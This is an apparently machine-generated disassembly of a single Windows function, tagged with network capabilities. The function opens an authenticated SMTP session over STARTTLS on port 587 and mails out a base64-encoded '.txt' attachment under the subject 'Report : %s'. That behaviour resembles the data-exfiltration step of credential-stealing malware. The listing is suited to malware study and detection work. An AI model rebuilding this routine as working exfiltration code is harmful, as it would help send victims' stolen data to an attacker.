Function at 0x14012aa70
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r14
lea rbp, [rsp - 0x12a0]
mov eax, 0x13d0
call fcn.1402f6840
sub rsp, rax
mov rax, qword [0x1403d0740]
xor rax, rsp
mov qword [rbp + 0x1290], rax
mov rdi, qword [rcx]
lea rdx, [rbp - 0x50]
mov r12, rcx
mov qword [rbp - 0x80], rcx
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor r8d, r8d
mov r14d, 2
mov ecx, r14d
lea edx, [r8 + 1]
call qword [sym.imp.WS2_32.dll_socket]
mov rsi, rax
cmp eax, 0xffffffff
je 0x14012b79c
xorps xmm0, xmm0
mov ecx, 0x24b
movups xmmword [rbp - 0x60], xmm0
mov word [rbp - 0x60], r14w
call qword [sym.imp.WS2_32.dll_htons]
mov rcx, rdi
mov word [rbp - 0x5e], ax
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rdi, rdi
je 0x14012b79c
mov rdx, qword [rax + 0x18]
lea rcx, [rbp - 0x5c]
movsx r8, word [rax + 0x12]
mov rdx, qword [rdx]
call sub.VCRUNTIME140.dll_memcpy
movsxd rbx, esi
lea r8d, [r14 + 0xe]
mov rcx, rbx
mov qword [rbp - 0x70], rbx
lea rdx, [rbp - 0x60]
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
js 0x14012b79c
mov qword [rsp + 0x1408], r13
lea rcx, [rbp + 0x290]
xor edx, edx
mov qword [rsp + 0x1410], r15
mov r8d, 0x1000
call sub.VCRUNTIME140.dll_memset
xor r9d, r9d
lea rdx, [rbp + 0x290]
mov r8d, 0xfff
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x14012b791
mov r8, rdi
lea rdx, str.EHLO__s_r_n
lea rcx, [rbp + 0x150]
call fcn.140129210
mov r15, 0xffffffffffffffff
lea rax, [rbp + 0x150]
mov r8, r15
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14012abb0
xor r9d, r9d
lea rdx, [rbp + 0x150]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x14012b791
xor edx, edx
lea rcx, [rbp + 0x290]
mov r8d, 0x1000
call sub.VCRUNTIME140.dll_memset
xor r9d, r9d
lea rdx, [rbp + 0x290]
mov r8d, 0xfff
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x14012b791
xor r9d, r9d
lea rdx, str.STARTTLS_r_n
mov rcx, rbx
lea r8d, [r9 + 0xa]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x14012b791
xor edx, edx
lea rcx, [rbp + 0x290]
mov r8d, 0x1000
call sub.VCRUNTIME140.dll_memset
xor r9d, r9d
lea rdx, [rbp + 0x290]
mov r8d, 0xfff
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x14012b791
xor edx, edx
lea ecx, [rdx + 0xc]
call fcn.14012dbc0
call fcn.14012b9f0
xor edx, edx
mov rcx, r14
call fcn.14012dbc0
xor edx, edx
mov ecx, 0x200002
call fcn.1402b4100
xor edx, edx
xor ecx, ecx
call fcn.1402b4100
test eax, eax
js 0x14012b782
call fcn.1402b42f0
mov rcx, rax
call fcn.1402afec0
mov qword [rbp - 0x68], rax
test rax, rax
je 0x14012b782
mov rcx, rax
call fcn.1402b1640
mov rbx, rax
test rax, rax
je 0x14012b782
mov edx, esi
mov rcx, rax
call fcn.1402b2030
mov rcx, rbx
call fcn.1402b07e0
test eax, eax
js 0x14012b782
mov r8, rdi
lea rdx, str.EHLO__s_r_n
lea rcx, [rbp + 0x150]
call fcn.140129210
lea rax, [rbp + 0x150]
mov rdi, r15
nop dword [rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x14012ad00
xor esi, esi
mov r13d, 0x7530
cmp rdi, r13
mov ecx, edi
cmovae ecx, r13d
xor edx, edx
nop dword [rax]
lea rax, [rbp + 0x150]
mov r8d, ecx
add rdx, rax
mov rcx, rbx
call fcn.1402b2260
test eax, eax
jle 0x14012b791
add esi, eax
mov ecx, edi
sub ecx, esi
movsxd rdx, esi
mov rax, rdi
sub rax, rdx
cmp rax, r13
cmovae ecx, r13d
cmp rdx, rdi
jb 0x14012ad20
xor edx, edx
lea rcx, [rbp + 0x290]
mov r8d, 0x1000
call sub.VCRUNTIME140.dll_memset
xor edi, edi
nop
mov r8d, 0xfff
lea rdx, [rbp + 0x290]
mov rcx, rbx
call fcn.1402b1c20
mov esi, eax
test eax, eax
jg 0x14012adb0
mov edx, eax
mov rcx, rbx
call fcn.1402b1360
cmp eax, r14d
jne 0x14012b791
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0xa
jge 0x14012adb6
test esi, esi
jle 0x14012ad70
jmp 0x14012adbc
je 0x14012b791
lea r14, str.AUTH_LOGIN_r_n
mov rdi, r15
inc rdi
cmp byte [r14 + rdi], 0
jne 0x14012adc6
xor esi, esi
mov ecx, edi
cmp rdi, r13
cmovae ecx, r13d
xor edx, edx
nop dword [rax]
mov r8d, ecx
add rdx, r14
mov rcx, rbx
call fcn.1402b2260
test eax, eax
jle 0x14012b791
add esi, eax
mov ecx, edi
sub ecx, esi
movsxd rdx, esi
mov rax, rdi
sub rax, rdx
cmp rax, r13
cmovae ecx, r13d
cmp rdx, rdi
jb 0x14012ade0
xor edx, edx
lea rcx, [rbp + 0x290]
mov r8d, 0x1000
call sub.VCRUNTIME140.dll_memset
xor edi, edi
nop word [rax + rax]
mov r8d, 0xfff
lea rdx, [rbp + 0x290]
mov rcx, rbx
call fcn.1402b1c20
mov esi, eax
test eax, eax
jg 0x14012ae70
mov edx, eax
mov rcx, rbx
call fcn.1402b1360
cmp eax, 2
jne 0x14012b791
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0xa
jge 0x14012ae76
test esi, esi
jle 0x14012ae30
jmp 0x14012ae7c
je 0x14012b791
mov rcx, qword [r12 + 8]
mov rdx, r15
inc rdx
cmp byte [rcx + rdx], 0
jne 0x14012ae84
call fcn.14012b7b0
mov r8, rax
lea rdx, str._s_r_n
lea rcx, [rbp + 0x150]
mov r14, rax
call fcn.140129210
lea rax, [rbp + 0x150]
mov rdi, r15
inc rdi
cmp byte [rax + rdi], 0
jne 0x14012aeb5
xor esi, esi
mov ecx, edi
cmp rdi, r13
cmovae ecx, r13d
xor edx, edx
nop dword [rax + rax]
lea rax, [rbp + 0x150]
mov r8d, ecx
add rdx, rax
mov rcx, rbx
call fcn.1402b2260
test eax, eax
jle 0x14012b774
add esi, eax
mov ecx, edi
sub ecx, esi
movsxd rdx, esi
mov rax, rdi
sub rax, rdx
cmp rax, r13
cmovae ecx, r13d
cmp rdx, rdi
jb 0x14012aed0
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor edx, edx
lea rcx, [rbp + 0x290]
mov r8d, 0x1000
call sub.VCRUNTIME140.dll_memset
xor edi, edi
nop word [rax + rax]
mov r8d, 0xfff
lea rdx, [rbp + 0x290]
mov rcx, rbx
call fcn.1402b1c20
mov esi, eax
test eax, eax
jg 0x14012af70
mov edx, eax
mov rcx, rbx
call fcn.1402b1360
cmp eax, 2
jne 0x14012b791
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0xa
jge 0x14012af76
test esi, esi
jle 0x14012af30
jmp 0x14012af7c
je 0x14012b791
mov rcx, qword [r12 + 0x10]
mov rdx, r15
inc rdx
cmp byte [rcx + rdx], 0
jne 0x14012af84
call fcn.14012b7b0
mov r8, rax
lea rdx, str._s_r_n
lea rcx, [rbp + 0x150]
mov r13, rax
call fcn.140129210
lea rax, [rbp + 0x150]
mov rdi, r15
inc rdi
cmp byte [rax + rdi], 0
jne 0x14012afb5
xor esi, esi
mov r14d, 0x7530
cmp rdi, r14
mov ecx, edi
cmovae ecx, r14d
xor edx, edx
nop dword [rax]
nop word [rax + rax]
lea rax, [rbp + 0x150]
mov r8d, ecx
add rdx, rax
mov rcx, rbx
call fcn.1402b2260
test eax, eax
jle 0x14012b72c
add esi, eax
mov ecx, edi
sub ecx, esi
movsxd rdx, esi
mov rax, rdi
sub rax, rdx
cmp rax, r14
cmovae ecx, r14d
cmp rdx, rdi
jb 0x14012afe0
mov rcx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor edx, edx
lea rcx, [rbp + 0x290]
mov r8d, 0x1000
call sub.VCRUNTIME140.dll_memset
xor edi, edi
nop word [rax + rax]
mov r8d, 0xfff
lea rdx, [rbp + 0x290]
mov rcx, rbx
call fcn.1402b1c20
mov esi, eax
test eax, eax
jg 0x14012b080
mov edx, eax
mov rcx, rbx
call fcn.1402b1360
cmp eax, 2
jne 0x14012b71c
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0xa
jge 0x14012b087
test esi, esi
jle 0x14012b040
cmp edi, 0xa
je 0x14012b71c
lea rdx, [0x1403adce8]
lea rcx, [rbp + 0x290]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
je 0x14012b021
mov r8, qword [r12 + 8]
lea rdx, str.MAIL_FROM:___s__r_n
lea rcx, [rbp + 0x150]
call fcn.140129210
lea rax, [rbp + 0x150]
mov rdi, r15
nop dword [rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x14012b0d0
xor esi, esi
mov ecx, edi
cmp rdi, r14
cmovae ecx, r14d
xor edx, edx
nop word [rax + rax]
lea rax, [rbp + 0x150]
mov r8d, ecx
add rdx, rax
mov rcx, rbx
call fcn.1402b2260
test eax, eax
jle 0x14012b791
add esi, eax
mov ecx, edi
sub ecx, esi
movsxd rdx, esi
mov rax, rdi
sub rax, rdx
cmp rax, r14
cmovae ecx, r14d
cmp rdx, rdi
jb 0x14012b0f0
xor edx, edx
lea rcx, [rbp + 0x290]
mov r8d, 0x1000
call sub.VCRUNTIME140.dll_memset
xor edi, edi
nop
mov r8d, 0xfff
lea rdx, [rbp + 0x290]
mov rcx, rbx
call fcn.1402b1c20
mov esi, eax
test eax, eax
jg 0x14012b180
mov edx, eax
mov rcx, rbx
call fcn.1402b1360
cmp eax, 2
jne 0x14012b791
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0xa
jge 0x14012b186
test esi, esi
jle 0x14012b140
jmp 0x14012b18c
je 0x14012b791
mov r8, qword [r12 + 0x30]
lea rdx, str.RCPT_TO:___s__r_n
lea rcx, [rbp + 0x150]
call fcn.140129210
lea rax, [rbp + 0x150]
mov rdi, r15
nop
inc rdi
cmp byte [rax + rdi], 0
jne 0x14012b1b0
xor esi, esi
mov ecx, edi
cmp rdi, r14
cmovae ecx, r14d
xor edx, edx
nop word [rax + rax]
lea rax, [rbp + 0x150]
mov r8d, ecx
add rdx, rax
mov rcx, rbx
call fcn.1402b2260
test eax, eax
jle 0x14012b791
add esi, eax
mov ecx, edi
sub ecx, esi
movsxd rdx, esi
mov rax, rdi
sub rax, rdx
cmp rax, r14
cmovae ecx, r14d
cmp rdx, rdi
jb 0x14012b1d0
xor edx, edx
lea rcx, [rbp + 0x290]
mov r8d, 0x1000
call sub.VCRUNTIME140.dll_memset
xor edi, edi
nop
mov r8d, 0xfff
lea rdx, [rbp + 0x290]
mov rcx, rbx
call fcn.1402b1c20
mov esi, eax
test eax, eax
jg 0x14012b260
mov edx, eax
mov rcx, rbx
call fcn.1402b1360
cmp eax, 2
jne 0x14012b791
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0xa
jge 0x14012b266
test esi, esi
jle 0x14012b220
jmp 0x14012b26c
je 0x14012b791
lea rax, str.DATA_r_n
mov rdi, r15
inc rdi
cmp byte [rax + rdi], 0
jne 0x14012b276
xor esi, esi
mov ecx, edi
cmp rdi, r14
cmovae ecx, r14d
xor edx, edx
nop dword [rax]
mov r8d, ecx
add rdx, rax
mov rcx, rbx
call fcn.1402b2260
test eax, eax
jle 0x14012b791
add esi, eax
mov ecx, edi
sub ecx, esi
movsxd rdx, esi
mov rax, rdi
sub rax, rdx
cmp rax, r14
lea rax, str.DATA_r_n
cmovae ecx, r14d
cmp rdx, rdi
jb 0x14012b290
xor edx, edx
lea rcx, [rbp + 0x290]
mov r8d, 0x1000
call sub.VCRUNTIME140.dll_memset
xor edi, edi
nop
mov r8d, 0xfff
lea rdx, [rbp + 0x290]
mov rcx, rbx
call fcn.1402b1c20
mov esi, eax
test eax, eax
jg 0x14012b320
mov edx, eax
mov rcx, rbx
call fcn.1402b1360
cmp eax, 2
jne 0x14012b791
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0xa
jge 0x14012b326
test esi, esi
jle 0x14012b2e0
jmp 0x14012b32c
je 0x14012b791
mov r8, qword [r12 + 0x40]
lea rcx, [rbp + 0x250]
test r8, r8
je 0x14012b34b
lea rdx, [0x1403ada70]
call fcn.140129210
jmp 0x14012b357
lea rdx, [0x1403add20]
call fcn.140129210
mov edx, dword [r12 + 0x48]
test edx, edx
jle 0x14012b36a
mov rcx, qword [r12 + 0x38]
test rcx, rcx
jne 0x14012b3a7
mov rcx, qword [r12 + 0x38]
test rcx, rcx
je 0x14012b39b
mov rax, r15
inc rax
cmp byte [rcx + rax], 0
jne 0x14012b377
test rax, rax
je 0x14012b3af
mov rdx, r15
nop dword [rax + rax]
inc rdx
cmp byte [rcx + rdx], 0
jne 0x14012b390
jmp 0x14012b3a7
mov edx, setsockopt
lea rcx, str.ERROR_PROCESSING_CMD
call fcn.14012b7b0
mov r13, rax
mov rcx, qword [r12 + 0x28]
mov rdx, r15
inc rdx
cmp byte [rcx + rdx], 0
jne 0x14012b3b7
call fcn.14012b7b0
mov r12, rax
mov rcx, r15
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x14012b3d0
mov rax, r15
nop dword [rax]
inc rax
cmp byte [rax + r13], 0
jne 0x14012b3e0
add rax, 0x3e80
add rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, qword [rbp - 0x80]
lea rdx, str.Report____s
lea rcx, [rbp + 0x150]
mov r14, rax
mov r8, qword [rdi + 0x18]
call fcn.140129210
lea rcx, str._r_n__977d81ff9d852ab2a0cad646f8058349_r_n
lea rax, str._r_n._r_n
mov qword [rsp + 0xa0], rax
lea r9, str.Content_Type:multipart_mixed_boundary_977d81ff9d852ab2a0cad646f8058349__r_n
lea rax, str._r_n__977d81ff9d852ab2a0cad646f8058349___r_n
mov qword [rsp + 0x98], rax
lea r8, str.MIME_Version:_1.0_r_n
mov qword [rsp + 0x90], r13
lea rax, str.Content_Transfer_Encoding:_base64_r_n_r_n
mov qword [rsp + 0x88], rax
lea rdx, str._s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s
lea rax, str..txt__r_n
mov qword [rsp + 0x80], rax
lea rax, [rbp + 0x250]
mov qword [rsp + 0x78], rax
lea rax, str.Content_Disposition:_attachment__filename___
mov qword [rsp + 0x70], rax
lea rax, str.Content_Type:_application_octet_stream_r_n
mov qword [rsp + 0x68], rax
lea rax, str.Content_Transfer_Encoding:_base64_r_n
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x50], rax
lea rax, str.Content_Type:_text_plain__charset_utf_8__r_n
mov qword [rsp + 0x48], rax
mov rax, qword [rdi + 8]
mov qword [rsp + 0x40], rcx
mov rcx, r14
mov qword [rsp + 0x38], rax
lea rax, str._r_nFrom:
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x150]
mov qword [rsp + 0x28], rax
lea rax, str.Subject:
mov qword [rsp + 0x20], rax
call fcn.140129210
mov rdi, r15
nop word [rax + rax]
inc rdi
cmp byte [r14 + rdi], 0
jne 0x14012b500
xor esi, esi
mov eax, 0x7530
cmp rdi, rax
mov ecx, edi
cmovae ecx, eax
xor edx, edx
nop dword [rax + rax]
mov r8d, ecx
add rdx, r14
mov rcx, rbx
call fcn.1402b2260
test eax, eax
jle 0x14012b78d
add esi, eax
mov r8d, 0x7530
movsxd rdx, esi
mov rax, rdi
sub rax, rdx
mov ecx, edi
sub ecx, esi
cmp rax, r8
cmovae ecx, r8d
cmp rdx, rdi
jb 0x14012b520
mov rcx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, r12
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor edx, edx
lea rcx, [rbp + 0x290]
mov r8d, 0x1000
call sub.VCRUNTIME140.dll_memset
xor edi, edi
nop dword [rax + rax]
mov r8d, 0xfff
lea rdx, [rbp + 0x290]
mov rcx, rbx
call fcn.1402b1c20
mov esi, eax
test eax, eax
jg 0x14012b5d0
mov edx, eax
mov rcx, rbx
call fcn.1402b1360
cmp eax, 2
jne 0x14012b78d
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0xa
jge 0x14012b5d6
test esi, esi
jle 0x14012b590
jmp 0x14012b5dc
je 0x14012b78d
lea r14, str.QUIT_r_n
inc r15
cmp byte [r14 + r15], 0
jne 0x14012b5e3
xor edi, edi
mov esi, 0x7530
cmp r15, rsi
mov ecx, r15d
cmovae ecx, esi
xor edx, edx
nop
mov r8d, ecx
add rdx, r14
mov rcx, rbx
call fcn.1402b2260
test eax, eax
jle 0x14012b78d
add edi, eax
mov ecx, r15d
sub ecx, edi
movsxd rdx, edi
mov rax, r15
sub rax, rdx
cmp rax, rsi
cmovae ecx, esi
cmp rdx, r15
jb 0x14012b600
xor edx, edx
lea rcx, [rbp + 0x290]
mov r8d, 0x1000
call sub.VCRUNTIME140.dll_memset
xor edi, edi
nop word [rax + rax]
mov r8d, 0xfff
lea rdx, [rbp + 0x290]
mov rcx, rbx
call fcn.1402b1c20
mov esi, eax
test eax, eax
jg 0x14012b690
mov edx, eax
mov rcx, rbx
call fcn.1402b1360
cmp eax, 2
jne 0x14012b78d
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0xa
jge 0x14012b696
test esi, esi
jle 0x14012b650
jmp 0x14012b69c
je 0x14012b78d
mov rcx, rbx
call fcn.1402b2170
test eax, eax
jne 0x14012b6d4
mov r8d, 0xfff
lea rdx, [rbp + 0x290]
mov rcx, rbx
call fcn.1402b1c20
test eax, eax
jle 0x14012b6d4
lea rdx, [rbp + 0x290]
lea rcx, str.BUFF_READ_:__s_n
call fcn.1401291b0
mov rcx, qword [rbp - 0x70]
mov edx, 2
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.WS2_32.dll_closesocket]
test eax, eax
jns 0x14012b6fe
mov rax, qword [rbp - 0x80]
mov dword [rax + 0x20], 2
jmp 0x14012b73e
mov rcx, rbx
call fcn.1402b0cc0
mov rcx, qword [rbp - 0x68]
call fcn.1402afb20
mov rax, qword [rbp - 0x80]
mov dword [rax + 0x20], 0
jmp 0x14012b73e
mov ecx, 0x20
mov eax, 3
mov dword [rcx + r12], eax
jmp 0x14012b73e
mov dword [r12 + 0x20], 3
mov rcx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov r13, qword [rsp + 0x1408]
mov r15, qword [rsp + 0x1410]
mov rcx, qword [rbp + 0x1290]
xor rcx, rsp
call fcn.1402f6590
mov rbx, qword [rsp + 0x1418]
add rsp, 0x13d0
pop r14
pop r12
pop rdi
pop rsi
pop rbp
ret
mov dword [r12 + 0x20], 3
mov rcx, r14
jmp 0x14012b738
mov dword [r12 + 0x20], 1
jmp 0x14012b73e
mov r12, qword [rbp - 0x80]
mov dword [r12 + 0x20], 3
jmp 0x14012b73e
mov dword [r12 + 0x20], r14d
jmp 0x14012b74e